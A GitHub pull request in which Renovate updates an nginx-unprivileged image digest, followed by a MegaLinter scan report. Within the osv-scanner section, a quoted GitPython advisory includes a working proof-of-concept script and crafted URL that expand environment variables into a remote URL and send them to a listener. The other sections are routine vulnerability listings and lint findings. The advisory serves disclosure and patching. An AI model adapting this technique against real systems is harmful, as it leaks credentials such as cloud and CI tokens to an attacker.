Skip to content

chore(deps): update docker.io/nginxinc/nginx-unprivileged:1.31.5 docker digest to 9d689e9 - #707

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/docker.io-nginxinc-nginx-unprivileged-1.31.5
Open

renovate[bot] wants to merge 1 commit into
masterfrom
renovate/docker.io-nginxinc-nginx-unprivileged-1.31.5

Conversation

@renovate

@renovate renovate Bot commented Sep 21, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Update Change
docker.io/nginxinc/nginx-unprivileged digest 4210a32 → 9d689e9

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • Between 12:00 AM and 03:59 AM, only on Monday (* 0-3 * * 1)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate
renovate Bot requested a review from chgl as a code owner September 21, 2026 01:45
@github-actions

Copy link
Copy Markdown

The Trivy vulnerability report is too large to display as a PR comment.

Please view the full report in the workflow run summary.

@github-actions

Copy link
Copy Markdown

❌MegaLinter analysis: Error

Descriptor Linter Files Fixed Errors Max errors Warnings Elapsed time
✅ ACTION actionlint 4 0 0 0.03s
❌ ACTION zizmor 4 1 1 1.9s
✅ BASH bash-exec 4 0 0 0.13s
✅ BASH shellcheck 4 0 0 0.16s
✅ BASH shfmt 4 0 0 0.01s
✅ DOCKERFILE hadolint 1 0 0 0.79s
✅ EDITORCONFIG editorconfig-checker 51 0 0 0.03s
✅ JSON jsonlint 4 0 0 3.14s
✅ JSON npm-package-json-lint yes no no 0.66s
✅ JSON prettier 4 0 0 3.23s
✅ JSON v8r 4 0 0 6.13s
⚠️ MARKDOWN markdownlint 5 9 0 0.65s
✅ REPOSITORY betterleaks yes no no 0.85s
✅ REPOSITORY checkov yes no no 28.6s
✅ REPOSITORY devskim yes no no 1.83s
✅ REPOSITORY git_diff yes no no 0.03s
⚠️ REPOSITORY grype yes 15 10 65.54s
✅ REPOSITORY kingfisher yes no no 4.64s
❌ REPOSITORY osv-scanner yes 1 52 10.48s
✅ REPOSITORY secretlint yes no no 1.01s
✅ REPOSITORY syft yes no no 3.43s
⚠️ REPOSITORY trivy yes 16 11 11.8s
✅ REPOSITORY trivy-sbom yes no no 0.45s
✅ REPOSITORY trufflehog yes no no 2.42s

Detailed Issues

❌ REPOSITORY / osv-scanner - 1 error
e "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed.
   
   ## Root Cause
   
   Fix commit [`8ac5a305`](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) added an `expand_vars` parameter to `Git.polish_url()` (default `True`) and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)). The shared helper's dangerous default was left in place, and the other callers were not updated.
   
   [`git/remote.py:811`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811), `Remote.create`:
   
   ```python
   url = Git.polish_url(url)                 # expand_vars=True -> os.path.expandvars(url)
   if not allow_unsafe_protocols:
       Git.check_unsafe_protocols(url)       # https:// carrying the secret passes
   repo.git.remote(scmd, "--", name, url, **kwargs)   # expanded URL written to .git/config

check_unsafe_protocols() runs after expansion here, so it rejects an ext:: payload but does nothing about an https:// URL that carries an expanded secret in its path or host — the disclosure primitive.

The same unguarded call also sits at git/objects/submodule/base.py:611 (Submodule.add), which writes the expanded URL into .gitmodules (a tracked file) and .git/config.

Steps to Reproduce

Prerequisites

  • Python 3.9+
  • git on PATH (for the fetch step)
  • GitPython 3.1.53 (installed below)

Step 1: Install GitPython 3.1.53 in a clean venv

mkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc
python3 -m venv venv
./venv/bin/pip install gitpython==3.1.53

Step 2: Write the PoC

cat > poc.py <<'PYEOF'
#!/usr/bin/env python3
"""Env-var exfiltration via Repo.create_remote() URL. Sentinel data only."""
import http.server
import os
import tempfile
import threading

import git

print("gitpython version:", git.__version__)

# Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY.
SENTINEL = "leaked-a1b2c3-SENTINEL-do-not-use"
os.environ["GP_SENTINEL_SECRET"] = SENTINEL

# Local HTTP server standing in for attacker.example.
captured = []


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        captured.append(self.path)
        self.send_response(404)
        self.end_headers()

    def log_message(self, *a):
        pass


srv = http.server.HTTPServer(("127.0.0.1", 0), Handler)
port = srv.server_address[1]
threading.Thread(target=srv.serve_forever, daemon=True).start()

# Attacker-controlled URL handed to an "import from URL" feature.
attacker_url = "http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git" % port


def norm(s):  # display the ephemeral listener port as a stable placeholder
    return s.replace("127.0.0.1:%d" % port, "127.0.0.1:PORT")


print("attacker-supplied URL :", norm(attacker_url))

repo = git.Repo.init(tempfile.mkdtemp(prefix="gp-victim-"))
remote = repo.create_remote("evil", attacker_url)   # public API

stored = repo.remote("evil").url
print("stored remote URL     :", norm(stored))
print("SENTINEL in git config:", SENTINEL in stored)

try:
    remote.fetch()          # transmits the expanded URL to the attacker host
except Exception:
    pass                    # fetch fails after the request is already sent

srv.shutdown()
over_network = any(SENTINEL in p for p in captured)
print("HTTP paths received   :", [norm(p) for p in captured])
print("SENTINEL over network :", over_network)

print()
if SENTINEL in stored and over_network:
    print("VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host")
elif SENTINEL in stored:
    print("VULNERABLE: env-var expanded into stored git-config URL")
else:
    print("not reproduced")
PYEOF

Step 3: Run it

cd /tmp/gp-remote-poc && ./venv/bin/python poc.py

Expected output (the listener's ephemeral port is shown as PORT):

gitpython version: 3.1.53
attacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git
stored remote URL     : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git
SENTINEL in git config: True
HTTP paths received   : ['/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack']
SENTINEL over network : True

VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host

The ${GP_SENTINEL_SECRET} token in the supplied URL is replaced with the environment value both in the stored .git/config URL and in the request that reaches the attacker-controlled host.

Suggested Fix

Pass expand_vars=False at the remaining URL callers, matching the clone fix:

  • git/remote.py Remote.create: url = Git.polish_url(url, expand_vars=False)
  • git/objects/submodule/base.py Submodule.add: url = Git.polish_url(url, expand_vars=False)

More robustly, flip the Git.polish_url() default to expand_vars=False (env-var expansion on a URL is never desirable for network remotes) and require callers that genuinely normalize local paths to opt in.

Cleanup

rm -rf /tmp/gp-remote-poc

Impact

Any secret in the hosting process environment (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, CI/CD tokens) is disclosed to an attacker who controls a remote URL passed to Repo.create_remote() / Remote.add(). The secret is expanded into .git/config immediately and transmitted over the network (DNS + HTTP) on the next fetch/pull/remote update. This is the documented "import repository from URL" attacker model of GHSA-rwj8-pgh3-r573 — CI servers, git-hosting mirrors, and dependency scanners — applied to the add-a-remote flow, which the clone-only fix did not cover. The same disclosure reaches .gitmodules (a committable file) via Submodule.add().

warning: Package 'gitpython@3.1.54' is vulnerable to 'CVE-2026-87817' (also known as 'PYSEC-2026-3982', 'GHSA-239g-whfq-7xj9').
= CVE-2026-87817
= GitPython before 3.1.60 fails to properly validate the git directory location, allowing attackers to impersonate the git directory using tracked files like gitdir, commondir, and HEAD. Attackers can execute arbitrary code by placing a malicious pre-commit hook in the tracked hooks directory that executes when a victim calls index.commit() on a cloned or opened repository.

warning: Package 'gitpython@3.1.54' is vulnerable to 'CVE-2026-87818' (also known as 'PYSEC-2026-3983', 'GHSA-whh4-5q6c-9v3x').
= CVE-2026-87818
= GitPython 3.1.59 fails to restrict the --no-index option in the high-level diff API, allowing attackers to read arbitrary filesystem paths as repository operands. Attackers can combine --no-index with -I/--ignore-matching-lines to create a content-dependent Boolean oracle, repeatedly querying local files to recover single-line secrets through distinguishable success or error responses.

warning: Package 'gitpython@3.1.54' is vulnerable to 'CVE-2026-87819' (also known as 'PYSEC-2026-3984', 'GHSA-g5vv-9gxw-82hx').
= CVE-2026-87819
= GitPython before 3.1.60 contains a regular expression denial of service vulnerability in Actor.name_email_regex that processes commit author and committer fields. Attackers can craft a commit object with a malformed author field containing an unterminated angle bracket to cause quadratic backtracking, exhausting CPU resources for over two minutes per commit access.

warning: 52 warnings emitted

(Truncated to last 8000 characters out of 278440)


</details>

<details>
<summary>❌ ACTION / zizmor - 1 error</summary>

warning: action installs an unpinned external tool: action implictly uses an unpinned latest version
┌─ .github/workflows/daily-trivy-scan.yaml:17:15
│
17 │ uses: aquasecurity/trivy-action@ed142fd # v0.36.0
│ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

warning: 1 warnings emitted


</details>

<details>
<summary>⚠️ REPOSITORY / grype - 15 errors</summary>

error: A high vulnerability in python package: urllib3, version 1.26.20 was found at: /requirements.txt

error: A high vulnerability in python package: urllib3, version 1.26.20 was found at: /requirements.txt

error: A high vulnerability in python package: urllib3, version 1.26.20 was found at: /requirements.txt

error: A high vulnerability in python package: gitpython, version 3.1.54 was found at: /requirements.txt

error: A high vulnerability in python package: gitpython, version 3.1.54 was found at: /requirements.txt

error: A critical vulnerability in python package: gitpython, version 3.1.54 was found at: /requirements.txt

error: A high vulnerability in python package: gitpython, version 3.1.54 was found at: /requirements.txt

error: A high vulnerability in python package: gitpython, version 3.1.54 was found at: /requirements.txt

error: A high vulnerability in python package: urllib3, version 1.26.20 was found at: /requirements.txt

error: A high vulnerability in python package: gitpython, version 3.1.54 was found at: /requirements.txt

warning: A medium vulnerability in python package: urllib3, version 1.26.20 was found at: /requirements.txt

warning: A medium vulnerability in python package: soupsieve, version 2.8.4 was found at: /requirements.txt

error: A high vulnerability in python package: asteval, version 1.0.5 was found at: /requirements.txt

warning: A medium vulnerability in python package: gitpython, version 3.1.54 was found at: /requirements.txt

warning: A medium vulnerability in python package: soupsieve, version 2.8.4 was found at: /requirements.txt

warning: A medium vulnerability in python package: gitpython, version 3.1.54 was found at: /requirements.txt

warning: A medium vulnerability in python package: gitpython, version 3.1.54 was found at: /requirements.txt

warning: A medium vulnerability in python package: asteval, version 1.0.5 was found at: /requirements.txt

error: A high vulnerability in python package: gitpython, version 3.1.54 was found at: /requirements.txt

error: A high vulnerability in python package: asteval, version 1.0.5 was found at: /requirements.txt

error: A high vulnerability in python package: gitpython, version 3.1.54 was found at: /requirements.txt

error: A high vulnerability in python package: gitpython, version 3.1.54 was found at: /requirements.txt

warning: A medium vulnerability in python package: asteval, version 1.0.5 was found at: /requirements.txt

warning: A medium vulnerability in python package: gitpython, version 3.1.54 was found at: /requirements.txt

warning: A medium vulnerability in python package: gitpython, version 3.1.54 was found at: /requirements.txt

warning: 10 warnings emitted
error: 15 errors emitted


</details>

<details>
<summary>⚠️ MARKDOWN / markdownlint - 9 errors</summary>

samples/charts/sample/README.md:5:9 error MD026/no-trailing-punctuation Trailing punctuation in heading [Punctuation: ';']
samples/charts/sample/README.md:8:1 error MD014/commands-show-output Dollar signs used before commands without showing output [Context: "$ helm repo add chgl https://c..."]
samples/charts/sample/README.md:9:1 error MD014/commands-show-output Dollar signs used before commands without showing output [Context: "$ helm repo update"]
samples/charts/sample/README.md:10:1 error MD014/commands-show-output Dollar signs used before commands without showing output [Context: "$ helm search repo chgl/sample..."]
samples/charts/sample/README.md:11:1 error MD014/commands-show-output Dollar signs used before commands without showing output [Context: "$ helm upgrade -i sample chgl/..."]
samples/charts/sample/README.md:28:1 error MD014/commands-show-output Dollar signs used before commands without showing output [Context: "$ helm upgrade -i sample chgl/..."]
samples/charts/sample/README.md:40:1 error MD014/commands-show-output Dollar signs used before commands without showing output [Context: "$ helm uninstall sample -n sam..."]
samples/charts/sample/README.md:90:1 error MD014/commands-show-output Dollar signs used before commands without showing output [Context: "$ helm upgrade -i sample chgl/..."]
samples/charts/sample/README.md:97:1 error MD014/commands-show-output Dollar signs used before commands without showing output [Context: "$ helm upgrade -i sample chgl/..."]


</details>

<details>
<summary>⚠️ REPOSITORY / trivy - 16 errors</summary>

ector containing a long internal whitespace run, or a selector containing a long CSS comment run followed by another token, causes quadratic CPU work before tokenization. User-controlled selectors can reach the path through soupsieve.compile() and BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. This root cause is separate from the IDENTIFIER and VALUE backtracking vulnerability because the cost occurs in RE_WS_END.search during trimming rather than token matching. The resulting CPU consumption can hold the Python GIL, exhaust workers, and stall a service without causing memory corruption or code execution. The issue is fixed in version 2.9.

warning: Package: soupsieve
Installed Version: 2.8.4
Vulnerability CVE-2026-86000
Severity: MEDIUM
Fixed Version: 2.9.0
Link: CVE-2026-86000
┌─ requirements.txt:1837:1
│
1837 │ soupsieve==2.8.4
│ ^
│
= soupsieve: Soup Sieve: Denial of Service via crafted CSS selectors
= Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, the selector parser in src/soupsieve/css_parser.py defines IDENTIFIER with adjacent quantified groups over overlapping character classes, and VALUE embeds IDENTIFIER for attribute selectors. When an attacker-controlled selector contains a long identifier or unquoted attribute-value run followed by input that makes the overall match fail, the regular expression engine explores quadratically many splits between the overlapping groups. User-controlled selectors can reach this path through soupsieve.compile(), soupsieve.select(), or BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. The resulting CPU consumption can hold the Python GIL, exhaust application workers, and stall a service; successful plain identifier matches are linear, and the issue does not cause memory corruption or code execution. The issue is fixed in version 2.9.

error: Package: urllib3
Installed Version: 1.26.20
Vulnerability CVE-2025-66418
Severity: HIGH
Fixed Version: 2.6.0
Link: CVE-2025-66418
┌─ requirements.txt:1879:1
│
1879 │ urllib3==1.26.20
│ ^
│
= urllib3: urllib3: Unbounded decompression chain leads to resource exhaustion
= urllib3 is a user-friendly HTTP client library for Python. Starting in version 1.24 and prior to 2.6.0, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data. This vulnerability is fixed in 2.6.0.

error: Package: urllib3
Installed Version: 1.26.20
Vulnerability CVE-2025-66471
Severity: HIGH
Fixed Version: 2.6.0
Link: CVE-2025-66471
┌─ requirements.txt:1879:1
│
1879 │ urllib3==1.26.20
│ ^
│
= urllib3: urllib3 Streaming API improperly handles highly compressed data
= urllib3 is a user-friendly HTTP client library for Python. Starting in version 1.0 and prior to 2.6.0, the Streaming API improperly handles highly compressed data. urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation. The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data.

error: Package: urllib3
Installed Version: 1.26.20
Vulnerability CVE-2026-21441
Severity: HIGH
Fixed Version: 2.6.3
Link: CVE-2026-21441
┌─ requirements.txt:1879:1
│
1879 │ urllib3==1.26.20
│ ^
│
= urllib3: urllib3 vulnerable to decompression-bomb safeguard bypass when following HTTP redirects (streaming API)
= urllib3 is an HTTP client library for Python. urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption. Starting in version 1.22 and prior to version 2.6.3, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client. Applications and libraries are affected when they stream content from untrusted sources by setting preload_content=False when they do not disable redirects. Users should upgrade to at least urllib3 v2.6.3, in which the library does not decode content of redirect responses when preload_content=False. If upgrading is not immediately possible, disable redirects by setting redirect=False for requests to untrusted source.

error: Package: urllib3
Installed Version: 1.26.20
Vulnerability CVE-2026-44431
Severity: HIGH
Fixed Version: 2.7.0
Link: CVE-2026-44431
┌─ requirements.txt:1879:1
│
1879 │ urllib3==1.26.20
│ ^
│
= urllib3: urllib3: Information disclosure via cross-origin redirects forwarding sensitive headers
= urllib3 is an HTTP client library for Python. From 1.23 to before 2.7.0, cross-origin redirects followed from the low-level API via ProxyManager.connection_from_url().urlopen(..., assert_same_host=False) still forward these sensitive headers. This vulnerability is fixed in 2.7.0.

warning: Package: urllib3
Installed Version: 1.26.20
Vulnerability CVE-2025-50181
Severity: MEDIUM
Fixed Version: 2.5.0
Link: CVE-2025-50181
┌─ requirements.txt:1879:1
│
1879 │ urllib3==1.26.20
│ ^
│
= urllib3: urllib3 redirects are not disabled when retries are disabled on PoolManager instantiation
= urllib3 is a user-friendly HTTP client library for Python. Prior to 2.5.0, it is possible to disable redirects for all requests by instantiating a PoolManager and specifying retries in a way that disable redirects. By default, requests and botocore users are not affected. An application attempting to mitigate SSRF or open redirect vulnerabilities by disabling redirects at the PoolManager level will remain vulnerable. This issue has been patched in version 2.5.0.

warning: Artifact: samples/charts/sample/templates/deployment.yaml
Type: helm
Vulnerability KSV-0125
Severity: MEDIUM
Message: Container sample in deployment sample (namespace: default) uses an image from an untrusted registry.
Link: KSV-0125
┌─ samples/charts/sample/templates/deployment.yaml:40:1
│
40 │ - name: {{ .Chart.Name }}
│ ^
│
= Restrict container images to trusted registries
= Ensure that all containers use images only from trusted registry domains.

warning: 11 warnings emitted
error: 16 errors emitted

(Truncated to last 8000 characters out of 61032)


</details>


### Notices

⚠️ Your configuration references items that have been removed from MegaLinter and are ignored: `MARKDOWN_MARKDOWN_LINK_CHECK`, `REPOSITORY_KICS`. See [Removed linters](https://megalinter.io/10.1.0/removed-linters/) to find their replacements.

See detailed reports in [MegaLinter artifacts](https://github.com/chgl/kube-powertools/actions/runs/35551949658)


Your project could benefit from a custom flavor, which would allow you to run only the linters you need, and thus improve runtime performances. (Skip this info by defining `FLAVOR_SUGGESTIONS: false`)

  - Documentation: [Custom Flavors](https://megalinter.io/10.1.0/custom-flavors/)
  - Command: `npx mega-linter-runner@10.1.0 --custom-flavor-setup --custom-flavor-linters ACTION_ACTIONLINT,ACTION_ZIZMOR,BASH_EXEC,BASH_SHELLCHECK,BASH_SHFMT,DOCKERFILE_HADOLINT,EDITORCONFIG_EDITORCONFIG_CHECKER,JSON_JSONLINT,JSON_V8R,JSON_PRETTIER,JSON_NPM_PACKAGE_JSON_LINT,MARKDOWN_MARKDOWNLINT,REPOSITORY_CHECKOV,REPOSITORY_DEVSKIM,REPOSITORY_GIT_DIFF,REPOSITORY_BETTERLEAKS,REPOSITORY_GRYPE,REPOSITORY_OSV_SCANNER,REPOSITORY_SECRETLINT,REPOSITORY_SYFT,REPOSITORY_TRIVY,REPOSITORY_TRIVY_SBOM,REPOSITORY_TRUFFLEHOG,REPOSITORY_KINGFISHER`

[![MegaLinter is provided by OX Security](https://raw.githubusercontent.com/oxsecurity/megalinter/main/docs/assets/images/ox-banner.png)](https://www.ox.security/?ref=megalinter)
Show us your support by [**starring ⭐ the repository**](https://github.com/oxsecurity/megalinter)

<!-- megalinter: github-comment-reporter workflow='ci' jobid='megalinter' -->

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants